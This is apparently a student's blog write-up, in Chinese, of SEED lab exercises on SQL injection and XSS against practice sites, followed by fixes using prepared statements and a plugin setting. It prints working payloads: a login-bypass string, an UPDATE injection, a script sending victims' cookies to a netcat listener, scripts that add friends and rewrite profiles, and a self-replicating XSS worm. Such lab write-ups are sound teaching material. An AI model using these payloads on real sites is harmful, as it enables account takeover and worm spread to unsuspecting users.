ybh724

导航

20251906 2025-2026-2 《网络攻防实践》第十周作业

1.实践内容

(1)SEED SQL注入攻击与防御实验
熟悉SQL语句:登录数据库,查询credential数据表结构与表内数据;
SELECT注入攻击:利用闭合注释绕过登录校验,在无密码前提下以Admin管理员账号登录系统;
UPDATE注入攻击:在个人资料编辑页面构造注入载荷, Salary=50000,非法篡改自身薪资数据;
SQL防御加固:使用预处理语句Prepared Statement重构登录源码,修补SQL注入漏洞。
(2)SEED XSS跨站脚本攻击实验(Elgg平台)
基础弹窗攻击:在个人资料栏植入JS代码,访问者打开页面自动弹出警告框;
Cookie回显攻击:编写脚本弹窗展示访客浏览器Cookie内容;
Cookie窃取攻击:构造恶意JS,将受害者Cookie自动发送至攻击者监听服务器;
自动加好友攻击:利用XSS让访问者在不知情下主动添加攻击者为平台好友;
篡改用户资料:恶意脚本自动修改访客个人简介为指定内容(Samy was here!);
XSS蠕虫制作:编写具备自我复制能力的恶意代码,存入用户资料实现蠕虫链式传播;
XSS防御加固:配置CSP策略限制脚本加载来源、开启Cookie的HttpOnly属性,从服务端防御XSS漏洞。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

打开seedubuntu虚拟机,使用命令mysql -u root -p登录数据库(MySQL)并查看所有数据库,密码为seedubuntu
image
使用命令show databases;查看所有数据库
image
使用Users数据库use Users;
查看Users数据库的所有表show tables;
image
查询credential表的所有内容select * from credential;
image
查询Name为Boby的相关信息select * from credential where Name = 'Boby';
image
打开 www.SEEDLabSQLInjection.com 网页。
image
查看网页源码,选择view page source
image
登陆的表单中使用get方法访问unsafe_home.php
image
打开unsafe_home.php查看页面源代码,地址为/var/www/SQLInjection/unsafe_home.php,是直接将用户输入拼接到SQL语句中
image
image
当输入Admin'#作为用户名时,实际执行的SQL变为:SELECT ... FROM CREDENTIAL WHERE name='Admin'#'。只要数据库中存在用户名为Admin的记录,攻击者即可绕过密码验证获取管理员权限。
image
image
查看Edit_Profile页面的源代码。点击上方的Edit Profile进入更新页面,然后右键查看源代码。
image
可以看到,表单依旧是以get方式将数据发到unsafe_edit_backend.php页面。
image
打开unsafe_edit_backend.php查看页面源代码。
image
需要注入的sql语句为UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;。构造$input_nickname的值。
',Salary='20251906' where name='Admin'#
image
修改unsafe_home.php中的sql语句,在SELECT语句中,使用bind_param方法,将参数与执行动作或条件分开进行修改;
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?"); $sql->bind_param("ss", $input_uname, $hashed_pwd);
image
测试是否还存在SQL注入漏洞。输入Admin’#发现不能成功登录了,说明漏洞修复成功。
image
修改unsafe_edit_backend.php中的sql语句,在Update语句中,同样使用bind_param方法,将参数与执行动作或条件分开进行修改;
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
发现输入',Salary='20251906' where name='Admin'#无法修改
image

2.2 SEED XSS 跨站脚本攻击实验

访问 Elgg 平台地址http://www.xsslabelgg.com,使用账号Alice、密码seedalice登录个人主页
image
在个人简介输入框中嵌入基础 XSS 攻击脚本<script>alert("20251906");</script>
image
修改个人简介中的恶意脚本,使用document.cookie获取当前用户Cookie数据,构造脚本<script>alert(document.cookie);</script>
image
在虚拟机终端使用命令nc -l 5555 -v,开启5555端口监听
image
构造基于img标签的被动传输脚本,利用图片加载自动请求的特性,将用户Cookie数据通过URL参数发送至本地监听端口
<script> document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>
image
将脚本嵌入个人简介并保存
image
看到用于监听的终端接收到了对应的cookie
使用F12查看添加好友的表单,get请求包含friend,elgg_ts和elgg_token
image
使用以下js脚本嵌入到个人简介中

<script type="text/javascript">
window.onload = function () {
	var Ajax = null;
	var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
	var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;
	Ajax = new XMLHttpRequest();
	Ajax.open("GET", sendurl, true);
	Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

image
可以看到自动加上了boby的好友
image
向平台编辑接口发送POST请求,修改用户个人资料

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>ybh20251906</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var aliceGuid=44;
        if(elgg.session.user.guid!=aliceGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

image
再看Boby的个人简介,发现已被修改
image
基于上述攻击原理编写具备自我传播能力的 XSS 蠕虫脚本

<script id="worm" type="text/javascript">
    document.addEventListener("DOMContentLoaded", function() {
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>";
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>ybh20251906"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var aliceGuid=44;
        if(elgg.session.user.guid!=aliceGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    })</script>

image
删除Boby的自我简介,访问以下alice的界面,发现又出现了
image
登录Samy的账号访问Boby的主页,发现samy的主页也被更改了
image
访问www.xsslabelgg.com/admin, 登录账号:Admin,密码:seedelgg
点击plugin,再点击HTMLawed,改为Deactivate
image
重新进行前面模拟XSS攻击后发现攻击失败
image

3.学习中遇到的问题及解决

  • 问题1:刚开始实验二的时候攻击一直不成功,修改了语法也不行
  • 问题1解决方案:重启了电脑就好了

4.实践总结

在课程指定的合法实训靶场环境中,我完成了SQL注入、XSS跨站脚本攻防专项实训。依托教学专用隔离靶机,我分步探究两类高危Web漏洞的形成诱因,从代码编写缺陷、用户输入过滤缺失等根源理解漏洞成因。
实训阶段,我先站在攻击者视角,模拟漏洞利用过程,了解输入过滤疏漏如何引发登录绕过、页面恶意脚本弹窗、数据库信息泄露等安全风险;随后切换防御方角色,针对性编写防御代码,通过参数预处理、输入白名单校验、特殊字符转义、CSP策略配置等手段,逐一修补代码漏洞,拦截注入与XSS攻击行为。
本次实训让我意识到,Web安全漏洞大多源于开发环节的细节疏忽,高强度加密只是安全防护的一环,严格的代码开发规范、全链路输入输出校验、分层安全架构缺一不可。安全防护不能只依靠事后应急修补,在需求设计、代码编写阶段嵌入安全思维,从开发源头规避漏洞。

posted on 2026-06-03 17:07  闫炳宏  阅读(26)  评论(0)    收藏  举报